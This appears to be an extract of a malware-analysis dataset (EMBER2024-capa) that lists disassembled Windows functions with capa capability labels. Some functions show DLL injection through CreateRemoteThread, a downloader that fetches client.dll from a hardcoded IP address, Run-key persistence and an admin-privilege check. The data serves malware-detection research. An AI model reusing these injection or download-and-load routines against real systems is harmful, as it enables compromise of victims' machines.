joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18003b280
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r15
sub rsp, 0x30
xor r15d, r15d
mov esi, edx
mov ebx, r15d
xor eax, eax
mov rdi, rcx
mov ebp, 1
lock cmpxchg dword [0x18004db5c], ebp
je 0x18003b2d7
cmp rbx, 0x20
jae 0x18003b2c0
xor ecx, ecx
jmp 0x18003b2c2
mov ecx, ebp
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
xor eax, eax
lock cmpxchg dword [0x18004db5c], ebp
jne 0x18003b2b6
cmp qword [0x18004db90], r15
je 0x18003b3d1
test rdi, rdi
jne 0x18003b2f7
mov ecx, esi
call fcn.18003ade0
mov ebp, eax
jmp 0x18003b3d6
mov ecx, dword [0x18004dc0c]
mov ebx, r15d
test ecx, ecx
je 0x18003b31f
mov r8, qword [0x18004dc00]
mov rax, r8
nop
cmp rdi, qword [rax]
je 0x18003b329
inc ebx
add rax, 0x38
cmp ebx, ecx
jb 0x18003b310
mov ebp, 4
jmp 0x18003b3d6
cmp ebx, 0xffffffff
je 0x18003b31f
mov eax, ebx
imul rdx, rax, 0x38
movzx eax, byte [rdx + r8 + 0x20]
shr eax, 1
and eax, ebp
cmp eax, esi
je 0x18003b3c8
mov r8d, ebp
lea rcx, [rsp + 0x20]
mov edx, ebx
call fcn.18003ab00
mov edx, esi
mov ecx, ebx
call fcn.18003acb0
mov ebp, eax
cmp qword [rsp + 0x20], r15
je 0x18003b3d6
mov eax, dword [rsp + 0x2c]
test eax, eax
je 0x18003b3b2
mov rbx, qword [rsp + 0x20]
mov esi, eax
nop word [rax + rax]
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x18003b3a8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub rsi, 1
jne 0x18003b380
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x18004db90]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x18003b3d6
neg esi
sbb ebp, ebp
add ebp, 6
jmp 0x18003b3d6
mov ebp, 2
xchg dword [0x18004db5c], r15d
mov rbx, qword [rsp + 0x40]
mov eax, ebp
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r15
ret
Function at 0x14003a53c
Capabilities:
Hash data using fnv

Disassembly:
jmp 0x14005b700
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x1400e415c]
call fcn.14003c0da
nop
mov qword [rbp + 8], 0
jmp 0x14005b73f
mov rax, qword [rbp + 8]
inc rax
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x110]
cmp qword [rbp + 8], rax
jae 0x14005b795
mov rax, qword [rbp + 8]
mov rcx, qword [rbp + 0x108]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov rcx, qword [rbp + 0x100]
xor rcx, rax
mov rax, rcx
mov qword [rbp + 0x100], rax
movabs rax, 0x100000001b3
mov rcx, qword [rbp + 0x100]
imul rcx, rax
mov rax, rcx
mov qword [rbp + 0x100], rax
jmp 0x14005b734
mov rax, qword [rbp + 0x100]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x14003a62c
Capabilities:
Create thread

Disassembly:
jmp 0x14004c430
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
mov rax, qword [0x1400d5040]
xor rax, rbp
mov qword [rbp + 0x120], rax
lea rcx, [0x1400e422a]
call fcn.14003c0da
nop
mov edx, 8
lea rcx, [rbp + 8]
call fcn.14003a9a1
mov rdx, qword [rbp + 0x158]
lea rcx, [rbp + 0x108]
call fcn.14003b04f
mov qword [rbp + 0x118], rax
mov rdx, qword [rbp + 0x118]
lea rcx, [rbp + 8]
call fcn.14003a69a
nop
lea rcx, [rbp + 0x108]
call fcn.14003ad5c
nop
lea rax, [0x14003b5e5]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x150]
add rax, 8
mov qword [rbp + 0x118], rax
lea rcx, [rbp + 8]
call fcn.14003b680
mov rcx, qword [rbp + 0x118]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x28]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll__beginthreadex]
mov rcx, qword [rbp + 0x150]
mov qword [rcx], rax
mov rax, qword [rbp + 0x150]
cmp qword [rax], 0
je 0x14004c533
lea rcx, [rbp + 8]
call fcn.14003adfc
nop
jmp 0x14004c54c
mov rax, qword [rbp + 0x150]
mov dword [rax + 8], 0
mov ecx, 6
call fcn.14003a712
nop
lea rcx, [rbp + 8]
call fcn.14003ad5c
nop
lea rcx, [rbp - 0x30]
lea rdx, reloc.WS2_32.dll_accept
call fcn.14003bb26
mov rcx, qword [rbp + 0x120]
xor rcx, rbp
call fcn.14003afe1
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret
Function at 0x14003aedd
Capabilities:
Delete file
Download url
Receive data

Disassembly:
jmp 0x1400599f0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x298
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x6a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2b8]
mov rax, qword [0x1400d5040]
xor rax, rbp
mov qword [rbp + 0x250], rax
lea rcx, [0x1400e421f]
call fcn.14003c0da
nop
lea rax, [rbp + 0x164]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x164]
call fcn.140063700
mov rcx, rax
call fcn.14003cd64
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_remove]
test eax, eax
je 0x140059a83
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rax, [rbp + 0x1b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0x1b4]
call fcn.140064300
mov rcx, rax
call fcn.14003ce40
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_remove]
test eax, eax
je 0x140059acc
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rax, [rbp + 0x204]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x228]
lea rcx, [rbp + 0x204]
call fcn.1400649c0
mov rcx, rax
call fcn.14003ce40
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.14003aee2
nop
lea rcx, [rbp + 0x48]
call fcn.14003a25d
mov qword [rbp + 0x248], rax
mov rcx, qword [rbp + 0x280]
call fcn.14003a25d
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, qword [rbp + 0x248]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call fcn.14003a6e0
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
je 0x140059b5e
lea rcx, [rbp + 0x48]
call fcn.14003a5a5
nop
jmp 0x140059b68
lea rcx, [rbp + 0x48]
call fcn.14003a5a5
nop
lea rcx, [rbp - 0x30]
lea rdx, reloc.WS2_32.dll_accept
call fcn.14003bb26
mov rcx, qword [rbp + 0x250]
xor rcx, rbp
call fcn.14003afe1
lea rsp, [rbp + 0x268]
pop rdi
pop rbp
ret

Function at 0x14003b0cc
Capabilities:
Connect socket

Disassembly:
jmp 0x1400ab90f
jmp qword [sym.imp.WS2_32.dll_connect]
Function at 0x14003b135
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140067f70
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x298
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x66
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2b8]
mov rax, qword [0x1400d5040]
xor rax, rbp
mov qword [rbp + 0x248], rax
lea rcx, [0x1400e4239]
call fcn.14003c0da
nop
mov r8d, dword [rbp + 0x278]
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 8], rax
mov r8d, 0x104
xor edx, edx
lea rcx, [rbp + 0x30]
call fcn.14003b8c4
nop
mov rdx, qword [rbp + 0x270]
lea rcx, [rbp + 0x30]
call fcn.14003add9
nop
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x104
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x158], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x104
lea r8, [rbp + 0x30]
mov rdx, qword [rbp + 0x158]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x158]
mov qword [rsp + 0x20], rax
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x178], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov r9d, 4
mov r8d, 0x3000
mov rdx, qword [rbp + 0x158]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
lea rcx, [rbp - 0x40]
lea rdx, reloc.WS2_32.dll_accept
call fcn.14003bb26
mov rcx, qword [rbp + 0x248]
xor rcx, rbp
call fcn.14003afe1
lea rsp, [rbp + 0x258]
pop rdi
pop rbp
ret

Function at 0x14003b2c0
Capabilities:
Terminate process

Disassembly:
jmp 0x1400a8320
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x14003b711
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400aa830
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400aa850
xor al, al
jmp 0x1400aa8d1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400aa863
xor al, al
jmp 0x1400aa8d1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400aa88d
xor al, al
jmp 0x1400aa8d1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400aa8a1
xor al, al
jmp 0x1400aa8d1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400aa8b3
xor al, al
jmp 0x1400aa8d1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400aa8cf
xor al, al
jmp 0x1400aa8d1
mov al, 1
add rsp, 0x38
ret
Function at 0x14003bdce
Capabilities:
Delete file
Move file

Disassembly:
jmp 0x1400851a0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x3c8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x8a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x3e8]
mov rax, qword [0x1400d5040]
xor rax, rbp
mov qword [rbp + 0x398], rax
lea rcx, [0x1400e421f]
call fcn.14003c0da
nop
lea rax, [rbp + 0x264]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x288]
lea rcx, [rbp + 0x264]
call fcn.14003c346
mov rcx, rax
call fcn.14003cafd
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_remove]
test eax, eax
je 0x140085233
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rax, [rbp + 0x2b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x2b4]
call fcn.14003a7bc
mov rcx, rax
call fcn.14003ce40
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_remove]
test eax, eax
je 0x14008527c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rdx, str.http:__93.115.10.242_34234jfdsklsadjlkadsjfadsfjsa_client.dll
lea rcx, [rbp + 0x308]
call fcn.14003ae10
lea rdx, [rbp + 0x48]
mov rcx, rax
call fcn.14003a893
nop
lea rcx, [rbp + 0x48]
call fcn.14003aedd
nop
lea rax, str.client.dll
mov qword [rbp + 0x88], rax
lea rax, [0x1400c2be8]
mov qword [rbp + 0xa8], rax
mov rdx, qword [rbp + 0xa8]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x1400852f5
mov byte [rbp + 0x364], 1
lea rcx, [rbp + 0x48]
call fcn.14003a5a5
movzx eax, byte [rbp + 0x364]
jmp 0x140085357
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xc4], eax
lea rdx, str.Dosya_ta
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14003a334
mov edx, dword [rbp + 0xc4]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14003a131]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov byte [rbp + 0x384], 0
lea rcx, [rbp + 0x48]
call fcn.14003a5a5
movzx eax, byte [rbp + 0x384]
jmp 0x140085357
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_accept
call fcn.14003bb26
mov rax, rdi
mov rcx, qword [rbp + 0x398]
xor rcx, rbp
call fcn.14003afe1
lea rsp, [rbp + 0x3a8]
pop rdi
pop rbp
ret
Function at 0x14003bfa4
Capabilities:
Get token membership

Disassembly:
jmp 0x140058b70
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1400d5040]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, reloc.WS2_32.dll_accept
call fcn.14003c0da
nop
mov byte [rbp + 0x24], 0
mov byte [rbp + 0x25], 0
mov byte [rbp + 0x26], 0
mov byte [rbp + 0x27], 0
mov byte [rbp + 0x28], 0
mov byte [rbp + 0x29], 5
lea rax, [rbp + 0x48]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp + 0x24]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140058c43
lea r8, [rbp + 4]
mov rdx, qword [rbp + 0x48]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x140058c36
mov dword [rbp + 4], 0
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
nop
jmp 0x140058c4a
mov dword [rbp + 4], 0
cmp dword [rbp + 4], 0
je 0x140058c5c
mov dword [rbp + 0x114], 1
jmp 0x140058c66
mov dword [rbp + 0x114], 0
movzx eax, byte [rbp + 0x114]
mov edi, eax
lea rcx, [rbp - 0x60]
lea rdx, reloc.WS2_32.dll_closesocket
call fcn.14003bb26
mov eax, edi
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.14003afe1
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x14003c3e6
Capabilities:
Hash data using fnv

Disassembly:
jmp 0x140084e80
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1400e4238]
call fcn.14003c0da
nop
movsx eax, byte [rbp + 0xe8]
mov ecx, dword [rbp + 0xe0]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x1400a8b90
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.14003c247
movzx eax, al
test eax, eax
jne 0x1400a8bb0
mov ecx, 7
call fcn.14003bb71
nop
mov byte [rsp + 0x20], 0
call fcn.14003bc2a
mov byte [rsp + 0x21], al
cmp dword [0x1400d59f0], 1
jne 0x1400a8bd4
mov ecx, 7
call fcn.14003bb71
nop
jmp 0x1400a8c2c
cmp dword [0x1400d59f0], 0
jne 0x1400a8c27
mov dword [0x1400d59f0], 1
lea rdx, [0x1400b8898]
lea rcx, [0x1400b8568]
call fcn.14003af8c
test eax, eax
je 0x1400a8c08
mov eax, 0xff
jmp 0x1400a8d31
lea rdx, [0x1400b8458]
lea rcx, [section..rdata]
call fcn.14003bbf8
mov dword [0x1400d59f0], 2
jmp 0x1400a8c2c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14003bafe
call fcn.14003b7e3
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x1400a8c89
mov rcx, qword [rsp + 0x30]
call fcn.14003ac7b
movzx eax, al
test eax, eax
je 0x1400a8c89
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x1400e5020]
nop
call fcn.14003b914
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x1400a8cbd
mov rcx, qword [rsp + 0x38]
call fcn.14003ac7b
movzx eax, al
test eax, eax
je 0x1400a8cbd
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.14003bfe5
nop
call fcn.1400a8da0
mov dword [rsp + 0x28], eax
call fcn.14003b711
movzx eax, al
test eax, eax
jne 0x1400a8cdc
mov ecx, dword [rsp + 0x28]
call fcn.14003a1f4
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400a8ceb
call fcn.14003c035
nop
xor edx, edx
mov cl, 1
call fcn.14003abc7
mov eax, dword [rsp + 0x28]
jmp 0x1400a8d31
add rsp, 0x68
ret
Function at 0x140007370
Capabilities:
Persist via run registry key

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0xf0
mov rdi, rdx
mov rsi, rcx
mov qword [rsp + 0x38], 0xffffffff80000001
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
Function at 0x140014370
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x1400143ea
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x1400143e0
cmp r11, r10
ja 0x140014475
cmp r10, rdx
ja 0x140014487
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x1400143e2
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x1400143c0
jmp 0x140014457
ja 0x1400143ea
mov r11, r10
cmp rax, r8
jne 0x140014392
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x14001445b
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x140014430
mov r8, r10
sub ecx, r9d
jns 0x14001444e
jmp 0x14001445d
cmp r10, rdx
je 0x140014469
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14001445d
xor al, 1
cmp r8, rdx
jne 0x140014410
jmp 0x14001445d
xor eax, eax
jmp 0x14001445d
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.14015b630
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14015b450
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14015b170
int3
Function at 0x14001a5c0
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
mov rax, rcx
add qword [rcx + 0x30], r8
mov r11, qword [rcx + 0x40]
test r11, r11
je 0x14001a5f6
mov r10d, 8
sub r10, r11
cmp r8, r10
mov rdi, r10
cmovb rdi, r8
cmp rdi, 4
jb 0x14001a5fe
mov esi, dword [rdx]
mov r9d, 4
jmp 0x14001a603
xor r10d, r10d
jmp 0x14001a6b9
xor esi, esi
xor r9d, r9d
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jae 0x14001a626
movzx ebx, word [rdx + r9]
lea ecx, [r9*8]
shl rbx, cl
or rsi, rbx
or r9, 2
cmp r9, rdi
jae 0x14001a63d
movzx edi, byte [rdx + r9]
shl r9d, 3
mov ecx, r9d
shl rdi, cl
or rsi, rdi
lea ecx, [r11*8]
shl rsi, cl
or rsi, qword [rax + 0x38]
mov qword [rax + 0x38], rsi
cmp r10, r8
jbe 0x14001a65d
add r11, r8
jmp 0x14001a78e
mov r9, qword [rax + 0x18]
xor r9, rsi
mov r11, qword [rax + 0x10]
mov rcx, qword [rax]
add rcx, r11
rol r11, 0xd
xor r11, rcx
rol rcx, 0x20
mov rdi, qword [rax + 8]
add rdi, r9
rol r9, 0x10
xor r9, rdi
add rcx, r9
rol r9, 0x15
xor r9, rcx
mov qword [rax + 0x18], r9
add rdi, r11
rol r11, 0x11
xor r11, rdi
mov qword [rax + 0x10], r11
rol rdi, 0x20
mov qword [rax + 8], rdi
xor rcx, rsi
mov qword [rax], rcx
mov qword [rax + 0x40], 0
sub r8, r10
mov r11d, r8d
and r11d, 7
and r8, 0xfffffffffffffff8
cmp r10, r8
jae 0x14001a732
mov r9, qword [rax]
mov rcx, qword [rax + 8]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x10]
nop dword [rax + rax]
add r9, rsi
rol rsi, 0xd
mov rbx, qword [rdx + r10]
xor rsi, r9
rol r9, 0x20
xor rdi, rbx
add rcx, rdi
rol rdi, 0x10
xor rdi, rcx
add r9, rdi
rol rdi, 0x15
add rcx, rsi
rol rsi, 0x11
xor rsi, rcx
rol rcx, 0x20
xor rdi, r9
xor r9, rbx
add r10, 8
cmp r10, r8
jb 0x14001a6e0
mov qword [rax + 0x18], rdi
mov qword [rax + 0x10], rsi
mov qword [rax], r9
mov qword [rax + 8], rcx
cmp r11d, 4
jb 0x14001a744
mov r9d, dword [rdx + r10]
mov r8d, 4
jmp 0x14001a74a
xor r9d, r9d
xor r8d, r8d
mov rcx, r8
or rcx, 1
cmp rcx, r11
jae 0x14001a770
lea rcx, [r8 + r10]
movzx esi, word [rdx + rcx]
lea ecx, [r8*8]
shl rsi, cl
or r9, rsi
or r8, 2
cmp r8, r11
jae 0x14001a78a
add r10, r8
movzx edx, byte [rdx + r10]
shl r8d, 3
mov ecx, r8d
shl rdx, cl
or r9, rdx
mov qword [rax + 0x38], r9
mov qword [rax + 0x40], r11
pop rbx
pop rdi
pop rsi
ret
Function at 0x14001a7a0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rsi
push rdi
sub rsp, 0x78
mov rsi, rdx
cmp dword [rcx], 2
jne 0x14001a85d
mov rax, qword [rcx + 8]
mov rcx, qword [rcx + 0x10]
movabs rdx, 0x736f6d6570736575
xor rdx, rax
movabs r8, 0x646f72616e646f6d
xor r8, rcx
movabs r9, 0x6c7967656e657261
xor r9, rax
movabs r10, 0x7465646279746573
xor r10, rcx
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], r9
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x48], r10
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
mov rdi, qword [rsi]
xor eax, eax
test rdi, rdi
setne al
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.14001a5c0
test rdi, rdi
je 0x14001a90a
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x30]
jmp 0x14001a923
movabs rcx, 0x100000001b3
mov rdx, qword [rsi]
xor eax, eax
test rdx, rdx
setne al
mov qword [rsp + 0x30], rax
movabs rax, 0xcbf29ce484222325
mov r9b, 1
xor r8d, r8d
nop word [rax + rax]
movzx r9d, r9b
and r9d, 1
add r9, r8
movzx r8d, byte [rsp + r8 + 0x30]
xor rax, r8
imul rax, rcx
mov r8, r9
cmp r9, 8
setne r9b
jne 0x14001a890
test rdx, rdx
je 0x14001aa18
mov rdx, qword [rsi + 0x10]
test rdx, rdx
setne r10b
je 0x14001aa54
mov r9, qword [rsi + 8]
add rdx, r9
mov r8, rax
nop dword [rax]
movzx r10d, r10b
and r10d, 1
add r10, r9
movzx eax, byte [r9]
xor rax, r8
imul rax, rcx
mov r8, rax
mov r9, r10
cmp r10, rdx
setne r10b
jne 0x14001a8e0
jmp 0x14001aa54
movzx eax, byte [rsi + 8]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.14001a5c0
mov rcx, qword [rsp + 0x40]
mov r9, qword [rsp + 0x60]
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rax, qword [rsp + 0x48]
mov r8, qword [rsp + 0x30]
add r8, rcx
rol rcx, 0xd
xor rax, r9
xor rcx, r8
rol r8, 0x20
mov rdx, qword [rsp + 0x38]
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rax, r8
xor rcx, rdx
rol rdx, 0x20
xor r8, r9
add r8, rcx
rol rcx, 0xd
xor rcx, r8
rol r8, 0x20
xor rdx, 0xff
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor rax, r8
add r8, rcx
rol rcx, 0xd
xor rcx, r8
rol r8, 0x20
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor rax, r8
add r8, rcx
rol rcx, 0xd
xor rcx, r8
add rdx, rax
shl rax, 0x10
xor rax, rdx
shr rax, 0x2b
add rdx, rcx
shr rcx, 0x2f
xor rcx, rax
mov rax, rdx
shr rax, 0x20
xor rax, rdx
xor rax, rcx
jmp 0x14001aa54
movzx edx, byte [rsi + 8]
mov qword [rsp + 0x30], rdx
mov r8b, 1
xor edx, edx
nop word cs:[rax + rax]
movzx r8d, r8b
and r8d, 1
add r8, rdx
movzx edx, byte [rsp + rdx + 0x30]
xor rax, rdx
imul rax, rcx
mov rdx, r8
